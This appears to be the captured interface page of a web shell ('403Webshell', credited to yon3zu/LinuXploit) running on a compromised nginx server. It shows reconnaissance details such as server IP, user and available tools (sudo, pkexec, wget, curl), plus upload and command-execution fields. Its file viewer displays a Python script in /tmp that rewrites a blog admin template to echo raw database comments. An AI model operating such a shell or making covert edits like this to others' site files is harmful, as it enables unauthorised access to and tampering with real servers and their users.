403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/clean_view.py
file_path = '/home2/haeyulhome/blog-haeyul-co-kr/public_html/ko_admin/program/koweb_blog/user_view.html'

with open(file_path, 'r') as f:
    lines = f.readlines()

new_lines = []
skip = False
for line in lines:
    if "$comment = $row['comments'];" in line:
        skip = True
        new_lines.append("                    echo $row['comments'];\n")
    elif "echo $comment;" in line and skip:
        skip = False
    elif not skip:
        new_lines.append(line)

with open(file_path, 'w') as f:
    f.writelines(new_lines)

print("SUCCESS_CLEANED")

Youez - 2016 - github.com/yon3zu
LinuXploit